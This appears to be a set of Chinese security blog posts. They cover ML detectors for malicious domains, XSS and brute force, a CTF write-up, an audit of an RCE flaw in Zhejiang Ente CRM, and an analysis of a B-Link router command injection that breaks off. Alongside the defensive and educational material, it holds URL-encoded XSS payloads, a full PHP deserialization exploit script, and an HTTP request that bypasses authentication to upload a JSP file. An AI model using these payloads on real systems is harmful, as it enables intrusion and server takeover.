每一次运算的得分,整体的正确率在94.7%。 使用测试: import sys import config sys.path.append(config.syspath) import config import pickle import numpy as np from sklearn.feature_extraction.text import CountVectorizer def load_and_vec_data():    content = input("请输入要识别的域名:")    input_data = [str(content)]    with open('../cv.pickle', 'rb') as cv:        cv = pickle.load(cv)    x= cv.transform(input_data).toarray()    print(x)    return x   # 加载模型 with open('../nb.pickle', 'rb') as f:    clf_load = pickle.load(f) # 使用模型进行预测 prediction = clf_load.predict(load_and_vec_data()) print("预测结果:", prediction) 输入域名,转换成数组,加载分类器。 可以看到实现了正常域名和恶意域名的识别分类。 做一个可视化出来。 from flask import Flask, render_template, request, redirect, url_for import predict_data_vec import pickle app = Flask(__name__, static_url_path='/static') @app.route('/') def index():    return render_template('index.html') @app.route('/process', methods=['POST']) def process():    user_input = request.form['text_input']    # 这里可以添加你的处理逻辑    x = predict_data_vec.load_and_vec_data(user_input)        # 加载模型    with open('../model/nb.pickle', 'rb') as f:        clf_load = pickle.load(f)    # 使用模型进行预测    prediction = clf_load.predict(x)    if prediction == [0.]:        prediction = '合法域名'        # 放过    else:        prediction = '非法域名'    result = "处理结果: " + str(prediction)  # 示例处理逻辑    return redirect(url_for('result', result=result)) @app.route('/result/<result>') def result(result):    return render_template('result.html', result=result) if __name__ == '__main__':    app.run(debug=True) 使用flask框架。 这里其实还是存在数据不足的问题,会导致模型精确度不够。 所以还是要主动去搜集恶意域名,得有个几十万数据可能才能够让模型有97%的准确率。 如果觉得还是不够稳,可以在AI判断完之后再添加个人工判断,AI觉得是非法域名,可以弹个窗或者发个消息通知。 用人的方式去理解到底是不是恶意域名,就是告警处理。
用隐式马尔科夫模型检测XSS攻击Payload
0.前言 学习一下如何使用机器学习的方式去识别XSS Payload。 1.XSS介绍 其实xss说白了,就是通过向网页中注入恶意的脚本代码,一般来说都是 JavaScript,让代码在其他用户的浏览器中执行,从而达到窃取信息、冒充身份、传播木马等目的。 换句话说,网站本来应该只展示安全的内容的,但是攻击者把一些恶意的脚本给塞入了网站中,让浏览器错误地把其当成正常内容执行了。 大概有以下这几种分类: 反射型:payload 在请求里,也就是URL或者表单,服务器拼回页面即触发,通常需要诱导点击。 存储型:payload 被存入库,比如说什么网站的评论、昵称、公告之类的,所有访问者都会触发。 DOM 型:前端脚本把不可信数据塞进危险 DOM SinkinnerHTML 之类的,不依赖服务器拼接。 盲 XSS:这个顾名思义是看不到弹窗,但 payload 会在后台或者运营端页面执行。 自我 XSS:诱导用户在控制台粘贴代码。 变异 XSS:浏览器或框架在解析或者重排 DOM 时修补标签,绕过原本的过滤器。 2.隐式马尔科夫 马尔科夫模型就是基于本次观测的状态来预测上一次的状态 而不依赖前面的所有内容。 假设现在有三个时间点:1,2,3 在2这个时间点是a,到了3这个时间点就变成了A,而马尔科夫模型在这里就仅根据a来预测,而不是根据a前面的内容。 主要解决连续问题,比如说: 文本类中上一个字或者词中下一个字词的出现概率。 一个连续的字词构成的句子判断句子的情感等。 使用的时候需要在虚拟环境中下载一个第三方库 pip install hmmlearn -i https://pypi.tuna.tsinghua.edu.cn/simple 3.使用隐式马尔科夫识别XSS 注意:这里只截取重要部分代码,并没有展示完全。 xss语法特征 <src> <script> <alert> http:// <img> onerror 导入一个文本的数据,都是各种各样的xss变体,github或者是kaggle上都能找到相关的xss数据集。 然后进行一个数据向量的处理。 这是个正则表达式,匹配双引号里面的字符串,比如说xss里面会有这种<>括起来的符号。 还有把http开头的,闭合的标签,反斜杆,或者是只有一个>,还有=符号,毕竟xss里面有什么onerror=xxx之类 还有函数调用,老生常谈的alert。 然后使用nltk,一个自然语言的工具,用来做分词处理。 那什么是分词处理?把一段连续的文本拆分成一个个有意义的“词语”或“最小语言单位”的过程。 在英语中,单词之间有空格,计算机很容易识别: “I love natural language processing.” 可以直接得到:["I", "love", "natural", "language", "processing"] 但在中文中,句子是连续的,没有空格: “我爱自然语言处理。” 对计算机来说,这是一个连续的字符串,它不知道“我爱”、“自然语言处理”这些边界。所以就需要中文分词算法来判断哪些字该组合在一起。 接下来就是转换列表,去重,添加等常规操作。 这样就大致完成了数据向量的处理。 模型的结构 import model_param from hmmlearn import hmm remodel = hmm.GaussianHMM(n_components=model_param.N, covariance_type="full", n_iter=model_param.n_iter) model_param.N是模型的状态,就是样本到底有几个类型,比如3个不同类型的骰子之类的。 covariance_type="full" 这个表示所有的样本都是有数据的,都是不为0的。 #状态个数 N=5 #迭代次数 n_iter=100 这里就把状态数和迭代数设置为5和100,这里100次看个人电脑配置吧,我100次都跑得挺慢的。 模型的训练 import model_struct import joblib import vec_data index_wordbag=1 #词袋索引 wordbag={} #词袋 wordbag = vec_data.load_wordbag("E:\\my_hmm\\data\\xss-200000.txt",2000) X,X_lens = vec_data.vec("E:\\my_hmm\\data\\xss-200000.txt",wordbag) remodel = model_struct.remodel.fit(X,X_lens) joblib.dump(remodel, "xss-train.pkl") 把用到的数据都加入到词袋中去,第一次词袋是空的,第一次就是去填满这个内容,也就是词的特征,第二次是做匹配,也就是根据上面的特征去做匹配才能返回X这个结果。 有了X和X_lens之后就可以做训练,然后把xss-train.pkl这个模型保存到本地。 模型测试 可以设置一个判断的阈值,或者理解为一个评分。 都是负数,评分越靠近0就说明越不像xss,评分越远离0就说明很像xss。 比如说我们在test数据中放入这么几条数据 /0_1/?%22onmouseover='prompt(42873)'bad=%22%3E /0_1/api.php?op=map&maptype=1&city=test%3Cscript%3Ealert%28/42873/%29%3C/script%3E /0_1/api.php?op=map&maptype=1&defaultcity=%e5%22;alert%28/42873/%29;// /0_1/api.php?op=map&maptype=1&defaultcity=%E5%8C%97%E4%BA%AC&api_key=%22%3E%3C/script%3E%3Cscript%3Ealert%28/42873/%29;%3C/script%3E /0_1/api.php?op=map&maptype=1&defaultcity=%E5%8C%97%E4%BA%AC&field=%29%3C/script%3E%3Cscript%3Ealert%2842873%29%3C/script%3E// /0_1/api.php?op=video_api&pc_hash=1&uid=1&snid=%3C/script%3E%3Cscript%3Ealert(/42873/)%3C/script%3E//&do_complete=1%20 /0_1/api.php?op=video_api&uid=1&snid=1&pc_hash=%3C/script%3E%3Cscript%3Ealert(/360/)%3C/script%3E//&do_complete=1 /0_1/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E 让训练好的模型去检测这些是不是xss攻击。 可以看到评分越小,说明它越像xss攻击。 接下来,可以把训练好的模型做成一个可视化界面。 可以使用django或者flask框架,这里就使用flask框架。 ... #最大似然概率阈值 T=-13 def process_text(input_text):    # 这里可以添加处理逻辑    remodel = joblib.load("E:\\my_hmm\\model\\xss-train.pkl")    f = open("test.txt", "w")    f.write(input_text)    f.close()    pro,line = test(remodel,"test.txt")    print(pro)    if pro == -1000:        return "请输入长度为10以上的payload"    elif pro > T:        return "没有检测到xss代码"    else:        return f"检测的结果是: {line},评分为:{pro}" @app.route('/', methods=['GET', 'POST']) def index():    result = ""    if request.method == 'POST':        input_text = request.form['input_text']        result = process_text(input_text)    return render_template('index.html', result=result) if __name__ == '__main__':    app.run(debug=True) 先把训练好的模型加载进来,然后把input_txt保存成一个本地文件test.txt,然后使用写好的判断分数函数去做一个分数判断。 因为最简单的xss攻击payload也会超过10个长度,所以可以先把长度小于10的排除了。 如果分数大于-13,就说明模型认为不是xss攻击。 实际效果就如下图: 使用样本里面没有的xss payload 模型也能检测出来。 但是并非百分之百正确,却可以解决一些看起来像的问题。 有一点要注意,虽然 HMM 可以捕捉 XSS Payload 的语法序列特征,但对于经过多层编码、混淆的攻击样本效果有限。 此外,模型需要大量带标签的数据进行训练,否则容易过拟合。
记2025羊城杯部分题目的解题思路
0.前言 好久没打CTF了,打个羊城杯回顾一下,记录一下做题过程。 1.web1 给了份php代码 <?php error_reporting(0); highlight_file(__FILE__); class A {    public $first;    public $step;    public $next;    public function __construct() {        $this->first = "继续加油!";   }    public function start() {        echo $this->next;   } } class E {    private $you;    public $found;    private $secret = "admin123";    public function __get($name){        if($name === "secret") {            echo "<br>".$name." maybe is here!</br>";            $this->found->check();       }   } } class F {    public $fifth;    public $step;    public $finalstep;    public function check() {        if(preg_match("/U/",$this->finalstep)) {            echo "仔细想想!";       }        else {            $this->step = new $this->finalstep();           ($this->step)();       }   } } class H {    public $who;    public $are;    public $you;    public function __construct() {        $this->you = "nobody";   }    public function __destruct() {        $this->who->start();   } } class N {    public $congratulation;    public $yougotit;    public function __call(string $func_name, array $args) {        return call_user_func($func_name,$args[0]);   } } class U {    public $almost;    public $there;    public $cmd;    public function __construct() {        $this->there = new N();        $this->cmd = $_POST['cmd'];   }    public function __invoke() {        return $this->there->system($this->cmd);   } } class V {    public $good;    public $keep;    public $dowhat;    public $go;    public function __toString() {        $abc = $this->dowhat;        $this->go->$abc;        return "<br>Win!!!</br>";   } } unserialize($_POST['payload']); ?> 代码审计后一看就能看到unserialize这个危险函数 unserialize() 函数用于将通过serialize()函数序列化后的对象或数组进行反序列化,并返回原始的对象结构 并且代码里面没有进行任何的过滤和检验,那么如果类中定义了像: __destruct(),__toString(),__wakeup() __call()、__get()、__invoke() 等这样的魔术方法,攻击者就可以通过构造精心的序列化对象,就可以让 PHP 自动执行任意代码路径 而这份代码里刚好有一整套可链式调用的危险类 首先是class A public function start() {        echo $this->next;   } 当 echo $this->next 时,若 $this->next 是个对象且定义了 __toString(),则会触发它 接着是 class E public function __get($name){    if($name === "secret") {        echo "<br>".$name." maybe is here!</br>";        $this->found->check();   } } 这会触发 $this->found->check() 还有class H public function __destruct() {        $this->who->start();   } 在销毁时自动调用 $this->who->start() class U直接进行任意命令执行 public function __invoke() {    return $this->there->system($this->cmd); } 还有class F class V 也有类似的魔术方法,所以我们可以构造一串序列化对象,让程序在 unserialize() 时自动触发这一系列魔术方法,最终执行系统命令, 拿到flag,这就是脚本的思路 import requests import urllib.parse url = ""  #web1给的目标url payload_str = 'O:1:"H":3:{s:3:"who";O:1:"A":3:{s:5:"first";N;s:4:"step";N;s:4:"next";O:1:"V":4:{s:4:"good";N;s:4:"keep";N;s:6:"dowhat";s:6:"secret";s:2:"go";O:1:"E":3:{s:6:"\00E\00you";N;s:9:"\00E\00secret";s:8:"admin123";s:5:"found";O:1:"F":3:{s:5:"fifth";N;s:4:"step";N;s:9:"finalstep";s:1:"u";}}}} data = {    "payload": payload_str,    "cmd": "cat /flag" } try:    response = requests.post(url, data=data, timeout=10)    print("响应状态码:", response.status_code)    print("响应内容:\n", response.text) except Exception as e:    print("请求错误:", e) 用 requests.post 向目标 URL 发起一个表单 POST,请求体包含两个字段: payload:一个 PHP serialize() 格式的字符串(会被服务端 unserialize())。 cmd:要传给后续链路执行/使用的命令(在原始易受攻击代码中会被 U 类读取并最终交给 system()) 然后来依次解释payload_str 最外层:O:1:"H":3:{ ... } —— 一个 H 实例,3 个属性:who, are, you who → 是一个 A 对象:O:1:"A":3:{ ... } A 的 next 字段被设置成一个 V 对象:O:1:"V":4:{ ... } V->dowhat = "secret"(注意是字符串 "secret") V->go → 是一个 E 对象:O:1:"E":3:{ ... } 在 E 对象内,你看到 \00E\00secret 被赋值为 "admin123" E->found → 是一个 F 对象:O:1:"F":3:{ ... } F->finalstep 被设置为 s:1:"u" H 的其它属性 are、you 在 payload 里是 N。 简单点来说,就是payload 手工把 H → A → V → E → F 这样的对象关系构造出来,并把 F->finalstep 置为 'u',把 V->dowhat 置为 'secret',并把 E 的私有 secret 属性显式写成 "admin123" 那是如何触发ROP链的呢? 首先,服务端会执行 unserialize($_POST['payload']),然后在脚本结束或对象被回收时,H::__destruct() 会自动运行,其中有 $this->who- >start();,即会调用 A->start()去执行 echo $this->next; 由于 A->next 被设为一个对象 V,echo 会触发 V::__toString(),而V::__toString() 的操作是内部读取 $this->dowhat("secret"),然后执行 $this->go->$abc,即 E->secret,访问该属性会触发 E::__get('secret'),E::__get() 在检测到 $name === "secret" 时会执行 $this->found->check() —— 也就是调用 F::check() F::check() 会去检查 preg_match("/U/", $this->finalstep); 如果 finalstep 包含大写 U,则会不予继续执行 但这里 payload 把 finalstep 设为小写 'u'(s:1:"u"),preg_match("/U/","u") 不匹配,因此绕过了 所以因此 F::check() 会执行: $this->step = new $this->finalstep(); ($this->step)(); 这会 new 一个名为 'u' 的类,在 PHP 中类名不区分大小写,因此 'u' 会解析为 U 类,并随后把该实例当函数调用,触发 U::__invoke() 而U::__invoke() 会调用 $this->there->system($this->cmd) 而且,there 被构造为 N,而 N::__call() 会把方法名当作函数名执行(call_user_func($func_name,$args[0])),从而把 system($cmd) 真正执行出来 最后U::__construct() 在构造时会读取 $_POST['cmd'],即脚本里传的 "cat /flag",所以最终会对传入的 cmd 执行 所以成功拿到flag 2.misc-成功男人背后的女人 层层解包之后,发现是一张图片 这种一般都是图片里面隐藏有什么东西,用010打开看看 发现是mkbt,应该是那种自定义的模块,上网找找资料 发现是adobe fireworks 的专有格式,需要使用fireworks才能看到完整信息 https://zhuanlan.zhihu.com/p/32247127059打开之后发现一张隐藏图片 打开看看,发现是带有一些符号的图片 一开始还没有想明白这是什么东西,直到有师傅提醒说这是二进制,男是1,女是0,就可以转换为flag了..... 3.re1 拿到题目是个exe文件,先点开看看能不能运行,一运行就看到熟悉的界面,这个界面和图标太熟悉了!(别问我为什么会熟悉!) 这是Godot引擎写的游戏,所以得去找对应的逆向工具 https://github.com/GDRETools/gdsdecomp拿工具提取之后,就能发现所有文件的代码都能看到(这比C逆向好看多了) 在main.gdc文件中发现了一个类似输出结果分数的函数,怀疑这里就是flag输出的地方 当分数达到特定值 7906 时,把字符串 a 按自定义编码解码成文本 var bin_chunk = a.substr(i, 12):取出当前的 12 位子串 将这 12 位再分为 三个 4 位子串: hundreds = bin_chunk.substr(0, 4).bin_to_int():把前 4 位当作二进制数(0~15),转成整数,作百位数字 tens = bin_chunk.substr(4, 4).bin_to_int():中间 4 位,当作十位(0~15) units = bin_chunk.substr(8, 4).bin_to_int():最后 4 位,当作个位(0~15) var ascii_value = hundreds * 100 + tens * 10 + units:把三个小数位组组合成一个十进制数,计算方法是 hundreds*100 + tens*10 + units —— 也就是说每 4 位不是直接表示一个十进制数,而是分别代表 ASCII 值的百位、十位、个位 如果三个 4 位分别是 0000, 0001, 0010,那就是 0*100 + 1*10 + 2 = 12 → ASCII 码 12 result += String.chr(ascii_value):把计算出的十进制作为 ASCII 码,用 String.chr 转成字符并追加到 result 循环结束后,$HUD.show_message(result) 在 HUD 上显示解码后的整段文本 那脚本编写就很容易了,因为我们没时间在游戏中拿到7906分,所以可以直接把代码中字符串a的数值拷贝下来,然后再把上述代码张贴上去,让它跑字符串a的 数值就可以了,就这么简单 a = "0000011010000000011001010000100000110000011001110000100001000000011100000001001000110001001000000000011001110001000101110000011001100001000001010000011100000000100010010001000101000000010001010001000101110000010100110000100101110000100000000000010100000000010001010000100000010001000001100001000 flag = "" for i in range(0, len(a), 12):    bin_chunk = a[i:i+12]    hundreds = int(bin_chunk[0:4], 2)    tens = int(bin_chunk[4:8], 2)    units = int(bin_chunk[8:12], 2)    ascii_value = hundreds * 100 + tens * 10 + units    flag += chr(ascii_value) print(flag)
浙大恩特前台RCE漏洞审计
指纹:title="欢迎使用浙大恩特客户资源管理系统" 本文对该系统公开在互联网,但未分析代码细节的漏洞进行审计分析: 前台文件上传RCE 该系统2019版本存在权限绕过加文件上传组合漏洞,可通过上传webshell实现前台RCE。 公开POC: POST /entsoft/CustomerAction.entphone;.js?method=loadFile HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0 uacqAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2AContent-Length: 203 ------WebKitFormBoundarye8FPHsIAq9JN8j2AContent-Disposition: form-data; name="file";filename="as.jsp"Content-Type: image/jpeg <%out.print("test");%>------WebKitFormBoundarye8FPHsIAq9JN8j2A-- 权限绕过部分先看过滤器: 分析web.xml发现purfilter为全局过滤器: 如上,会对/*也就是任意请求进行拦截,跟进源码: 首先出现的就是白名单后缀+白名单接口,在后续校验中也是对非listExpUrl内容的后缀或者接口才会进行权限校验: 而拦截器在进行后缀白名单检测时,获取后缀的方式如下: 通过获取最后一个.的部分作为后缀。 而且该系统是tomcat容器,基于该容器对;的解析特性,不会匹配到;后面的内容,也就是在进行路由匹配时,只会匹配到CustomerAction.entphone,从而使得CustomerAction.entphone;.js?method=loadFile顺利进入过滤器层面的校验,并且此时获取的后缀又是.js,处于白名单后缀,从而实现权限绕过。 接下来分析:上传点代码漏洞原因: 先在xml文件寻找接口对应后端代码,该接口匹配后缀.entphone,对应代码为:enterphone.EntPhoneControl类。 全局搜索EntPhoneControl类: 跟进漏洞类CustomerAction: 跟进method对应loadFile方法: 要想进入文件上传逻辑,会先进行gesum参数的条件判断: 在gesum不为空时才进入上传逻辑,原数据包里面是没有传gesum参数的,在java里面,一般值会设置为NULL,而NULL不等于空,则能够顺利进入if逻辑。 进入if块后,代码会继续执行以下步骤: 创建CustomerBean并设置gesnum(此时gesnum为null)和tenantID。 调用customerBean.checkGesnum()检查客户代码是否存在。 这一步是关键:若checkGesnum()方法在gesnum为null时返回false(即认为"客户代码不存在",符合业务逻辑,因为null通常不是有效的客户代码),则会进入else分支,执行文件上传逻辑。 随后通过如上文件获取文件名,并直接进行文件上传,由于未进行后缀校验,从而可上传jsp文件,造成RCE漏洞。 本地环境漏洞复现: 上传成功,并成功解析:
使用随机森林识别暴力破解
1.暴力破解 暴力破解是一种最直接、最笨拙的攻击方式,见名知意,就是攻击者通过穷举所有可能的密钥、口令或输入组合,直到找到正确答案为止。 这种攻击方式看起来很low,但在现实中却屡见不鲜,因为许多用户仍然习惯使用过于简单的弱口令,比如像什么123456,或者是password或是生日、手机号等。 极易猜测的信息,一旦系统没有设置登录尝试次数限制,攻击者就可以借助自动化工具快速完成大规模的密码测试。 常见的暴力破解目标: 密码,像登录口令、Wi-Fi密码、数据库口令之类的。加密密钥,如对称加密中的密钥。验证码/Token,如短信验证码、验证码图片等。 暴力破解的分类 1. 纯暴力破解 从所有可能的字符组合开始尝试,例如: 尝试 "a"、"b"、"c" … 然后 "aa"、"ab"、"ac" … 2. 字典攻击,这个也比较常用 使用常见密码字典,比如 123456、password、qwerty 等进行尝试。 比纯暴力破解快,因为大部分用户喜欢用弱口令。 3. 混合攻击 字典 + 规则,例如: 在字典词后加数字password123 首字母大写Qwerty 2.随机森林 森林中的每个树就是决策树。 使用决策树的组合,可以提升其性能和准确率。随机森林是一种基于决策树的集成学习方法,它通过构建多个决策树模型,然后使用投票的方式进行预测,来减少过拟合的风险。 在实现随机森林时,需要对决策树的构建、特征选择、模型训练和预测等方面进行优化。 森林中的每一棵树都有很多叶子,在计算机中可以理解为很多节点,比如什么二叉树。 在决策树的每个节点,算法需要选择一个特征来进行分割,目的是最大化节点的纯度,即减少子节点中类别的不确定性。 举个例子来说: 首先要下载matplotlib,Scikit-learn和pandas import pandas as pd # 创建一个包含年龄和类别标签的Data data = {    'Age': [25, 30, 35, 40, 45, 50, 55, 60, 65, 70],    'Category': ['A', 'A', 'B', 'B', 'B', 'C', 'C', 'A', 'B', 'C'] } df = pd.DataFrame(data) # 显示原始数据 df 这是一一对应的,比如说25对应A, 35对应B 现在我们去自定义一个分类: # 根据年龄是否大于30来分割数据 gini = 0.2 df['Age_GreaterThan_30'] = df['Age'] > 30 # 根据年龄是否大于20来分割数据 gini = 0.1 # 显示分割后的数据 df 这样数据就可以分成小于30就是false,大于30就是true,这样就是把叶子做了一个特征分类。 所以当有这么一棵树的时候,有数据进来,就可以以此判断它的类别是什么。 那么随机森林就是很多棵决策树,但是每棵树略有不同,比如说取的数据不同。 比如说100个数据,使用10棵树,10棵树产生的分类也有所不同,这样就可以避免产生过拟合。 3.使用随机森林识别暴力破解 注意:这里的代码有些没有完全展示,因为太长了,只截取重要部分。 这里使用的数据是一些检测函数调用和攻击最后的结果之间的对应关系,用这些数据做特征。 https://github.com/verazuo/a-labelled-version-of-the-ADFA-LD-dataset?tab=readme-ov-file... x1,y1 = load_adfa_training_files("./data/ADFA-LD/Training_Data_Master/") x2,y2 = load_adfa_hydra_ftp_files("./data/ADFA-LD/Attack_Data_Master/") 先去加载数据,把数据分成两份,训练数据和攻击数据。 这里选择的就是hydra_ftp,暴力破解数据。 hydra是渗透过程中常用工具,这里就不展开解释了 https://github.com/facebookresearch/hydra 然后对训练数据和攻击数据都打上标签,也就是x1,y1 x2,y2 把x1,x2加起来进行一个拼接,y1和y2也是一样。 然后需要拿去做一个向量化,因为读取的数据都是字符串。 x1,y1 = load_data.x1,load_data.y1 x2,y2 = load_data.x2,load_data.y2 x = x1+x2 y = y1+y2 vectorizer = CountVectorizer(min_df=1) x = vectorizer.fit_transform(x) x = x.toarray() print(type(x)) print(y) # [1,2,3] np.savetxt("../model/data_x.csv", x, delimiter=",") np.savetxt("../model/data_y.csv", y, delimiter=",") 用CountVectorizer将读取的数据转换为numpy格式,转换完成就可以使用np.savetxt方式把x和y的数据导入到csv文件。 数据处理完之后,接下来就是模型,直接简短代码就行。 rf = RandomForestClassifier(n_estimators=model_param.rf_params["n_estimators"],                            max_depth=model_param.rf_params["max_depth"],                            min_samples_split=model_param.rf_params["min_samples_split"],                            random_state=model_param.rf_params["random_state"]) 使用随机森林模型 n_estimators: 这个参数指定了要构建的决策树的数量。 max_depth: 这个参数定义了树的最大深度,太小了容易欠拟合,不限制又容易过拟合。 min_samples_split: 这个参数指定了在树的节点上进行分裂所需的最小样本数,最少都需要两个,增加这个值可 以使树更加保守,减少过拟合的风险,但可能降低模型的复杂度和准确性。 这样模型就构建好了,接下来就是训练了。 x = np.genfromtxt("data_x.csv",delimiter=",") y = np.genfromtxt("data_y.csv",delimiter=",") x_train, x_test , y_train, y_test = train_test_split(x, y, test_size = 0.3) save_model = model_struct.rf.fit(x_train, y_train) # 模型的保存 with open('rf.pickle','wb') as f:    pickle.dump(save_model,f) #将训练好的模型clf存储在变量f中,且保存到本地 把刚才导出来x,y导入,将其分成测试集和训练集,将模型保存下来,用于接下的测试。 首先是得分测试: with open('../rf.pickle', 'rb') as f:    clf_load = pickle.load(f)  # 将模型存储在变量clf_load中 x = np.genfromtxt("../data_x.csv",delimiter=",") y = np.genfromtxt("../data_y.csv",delimiter=",") # 交叉验证 scores = cross_val_score(clf_load, x, y, cv=10, scoring='accuracy') # 11111 # 00001 print(scores.mean()) plt.bar(np.arange(10),scores,facecolor='yellow',edgecolor='white') # +表示向上显示 for x,y in zip(np.arange(10),scores):    plt.text(x,y+0.05, '%.2f' % y,ha='center',va= 'bottom') # '%.2f' % y 保留y的两位小数 ha='center' 居中对齐 va= 'bottom' 表示向下对齐 top向上对齐 plt.ylim(0,1.1) plt.show() 用十字交叉验证去做一个验证,去跑一下模型: 10次跑分的成绩 然后是使用的测试: sys.path.append(config.syspath) import config import pickle import numpy as np def load_data(filename):    with open(filename, 'r') as f:        first_line = f.readline().strip('\n')        features = [float(feature) for feature in first_line.split()]    return np.array(features)  # 确保返回的是一维数组 if __name__ == '__main__':    # 加载数据    data = load_data(config.syspath + "/model/model_test/UAD-Hydra-FTP-1-1613.txt")    # 获取实际特征数量    actual_features = data.shape[0]    # 模型期望的特征数量    expected_features = 142    # 根据特征数量决定如何处理    if actual_features < expected_features:        # 填充缺失的特征        padding = np.zeros(expected_features - actual_features)        data_padded = np.hstack([data, padding]).reshape(1, expected_features)    elif actual_features > expected_features:        # 截断多余的特征        data_padded = data[:expected_features].reshape(1, expected_features)    else:        # 特征数量匹配,无需修改        data_padded = data.reshape(1, expected_features)    # 加载模型    with open('../rf.pickle', 'rb') as f:        clf_load = pickle.load(f)    # 使用模型进行预测    prediction = clf_load.predict(data_padded)    print("预测结果:", prediction) 注意,这里模型是一个支持固定长度的特征输入,但是实战中经常会遇到各种不同长度特征的输入。 可以根据特征数量去进行一个处理,比如说这个特征是一个连续的特征,这里用到的数据都是函数的调用序列。 不管它们在什么位置,它们所代表的实际含义都是一样的,都是这个函数在哪个位置被调用了。 6 63 6 5 221 141 141 6 5 221 6 .... 比如说上述一部分数据,第一次调用了6号函数,第二次调用了63号函数,以此类推。 也就是特征和特征之间都是统一的内容,也就是连续的而不是离散的,那么就可以使用上述代码进行一个处理。 接下来去跑测试模式就可以了。 如果预测结果不太准确,那么就需要在模型参数那里进行一个调整,当然每一次调整参数都需要把原先的模式删除。 rf_params = {    'n_estimators':10,    'max_depth':None,    'min_samples_split':2,    'random_state':0 } 总之,使用随机森林去识别暴力破解,就是导入一些安全产品记录了一些时间段某些函数的调用的数据。 把数据进行一个预处理,就是把函数名称做一个排序,然后对应到序号上,生成上述的那一部分数字。 接下来就可以重复刚刚的步骤,转换,构建,训练,测试。 这个数据是函数调用序列,可能比较抽象,或者用网络数据包数据或许会更好,但是模型构建的方法是一样的。
B-Link X26路由器Web服务风险挖掘
0.前言 在对B-Link X26 V1.2.8 路由器固件进行安全审计时,发现其在处理特定输入的过程中存在命令注入溢出漏洞。 该漏洞的成因在于程序未对用户传入的数据进行严格的合法性校验,直接拼接进入系统命令,攻击者可以借此注入并执行任意代码。这种情况不仅可能导致设备运行异常,还可能在某些条件下使攻击者获得对路由器的完全控制。 通过验证与复测确认,该漏洞风险等级较高,利用门槛低,极易被远程攻击者滥用,对设备本身以及所处网络的安全性构成严重威胁。 目前,我已将漏洞细节、复现过程与修复建议整理成完整报告,并通过官方渠道提交给厂商及 CVE 分配机构。 该漏洞已被收录,编号为 https://www.cve.org/CVERecord?id=CVE-2025-9580。 1.漏洞概述 B-Link X26路由器 V1.2.8版本存在命令执行漏洞,触发该漏洞需要进行一次授权,当攻击者获取授权之后可以通过发送恶意的HTTP POST请求即可触发该漏洞。 2.漏洞详情 https://www.b-link.net.cn/product_29_174.html官网下载完固件之后,使用binwalk进行解包。 这个固件解包出来后,比起之前其他我挖过其他消费级路由器也有很大不同。 首先它没有httpd文件,解包后习惯性地在 bin/ 或 sbin/ 目录中寻找 httpd 可执行文件,因为在大多数消费级或企业级路由器中,Web 管理界面往往依赖 httpd 作为核心服务。但在 B-Link X26 的固件中并没有找到 httpd,这使得常规思路无法直接套用。 接下来尝试在 Web 资源目录下寻找脚本文件,一般来说企业级路由器会包含大量 .php 脚本,比如 DCME-720 ,消费级路由器则可能依赖 .cgi 文件来处理。 后台逻辑,但是在 B-Link X26 中,.cgi 文件数量极少,仅发现了与上传相关的 upload.cgi。这与以往分析的 DCME、Wavlink 固件有明显不同:后者解包后能看到一整套配置、认证、状态查询相关的脚本,而在 X26 上,脚本层几乎不存在。 既然缺少传统的 httpd,.cgi 文件也很少,说明该固件的 Web 服务逻辑并未像常见路由器那样拆分到大量脚本中,那么剩下的可能性,要么Web 服务被嵌入在某个非典型命名的二进制中,或者是路由器采用了轻量级嵌入式 Web 服务器。 带着这个假设,再次对 bin/ 目录进行排查,可以发现一个名为 goahead 的可执行文件。 通过字符串检索与反汇编分析,可以在 goahead 中发现大量 Web 服务相关的函数调用,比如 websGetVar、HTTP 请求处理逻辑,并且能定位到 system()、popen() 等命令执行函数。 所以说B-Link X26 的 Web 管理界面核心逻辑全部集成在 goahead 内部,而不是依赖外部的 .cgi 或 .php 文件。 回到正题,当请求路径为set_hidessid_cfg时候会进入sub_44F9F4函数的处理逻辑。 可以看到,这里从 HTTP 请求里取出参数 type 和 enable,a1 通常是 webs_t 结构(goahead 的请求上下文),websGetVar 用来提取请求参数。 如果没取到,返回默认值 "" 然后又通过创建json对象的格式将参数打包成json对象传入到了bs_SetSSIDHide函数中,从名字可以看出来这是修改隐藏 SSID的配置的函数。 {  "type":   "<用户输入的type参数>",  "enable": "<用户输入的enable参数>" } 那么这里就会有一些问题,type和enable完全是由用户输入的。 没有过滤,type 和 enable 原样地放进 JSON。 关键在于 bs_SetSSIDHide 的实现,如果说它内部调用了 system()/popen() 来修改无线配置,比如说执行 iwpriv、uci set 等命令,就可能引发命令注入。 但是如果只是直接操作配置文件/内存结构,则风险较小。 所以接着看 bs_SetSSIDHide 函数,但是这里有个问题,就是它是个外部函数,无法在gohead里面直接找到,这说明该函数并不在当前二进制中实现,而是来自外部库。 所以为了找到其具体的实现逻辑,首先检查了 goahead 的动态依赖库。 readelf -d goahead | grep NEEDED 该命令用于列出 goahead 这个程序运行时所必需的所有动态链接库,共享库文件。 查出了 goahead 运行时依赖的动态库,包括:libc.so.0,libnvrm.so.0,libshare.so.0之类。 既然 bs_SetSSIDHide 在 goahead 内部没定义,那么它必然来自这些依赖库之一。 根据经验,libshare.so.0 这个命名,share → 常常封装设备配置、WLAN、系统参数等接口,就可以合理怀疑这个函数实现藏在里面。 我们也可以验证一下猜测 nm -D libshare.so.0 | grep bs_SetSSIDHide 该命令用于检查名为 bs_SetSSIDHide 的函数是否存在于共享库 libshare.so.0 的动态符号表中,从而确认该函数是否可以被其他程序调用。 0002b7f4是函数 bs_SetSSIDHide 在 libshare.so.0 里的偏移地址,如果库被加载到内存,这个地址会加上库的基址,得到函数的真实运行时地址。 T表示该符号在 Text 段,也就是代码段中被定义,说明它是一个函数。字母 T 是大写的,这表示它是一个全局符号,意味着这个函数可以被链接到这个库的其他程序或库文件调用。如果是小写的 t,则表示它是一个内部函数,只能在库内部使用。 如果是 U,就表示 undefined,也就是未定义,只是引用。 bs_SetSSIDHide,就是符号名,也就是函数的名字,这说明 bs_SetSSIDHide 真正的实现就在 libshare.so.0 里。 这张图的输出证明了 bs_SetSSIDHide 在 libshare.so.0 中确实有定义(函数实现),地址偏移是 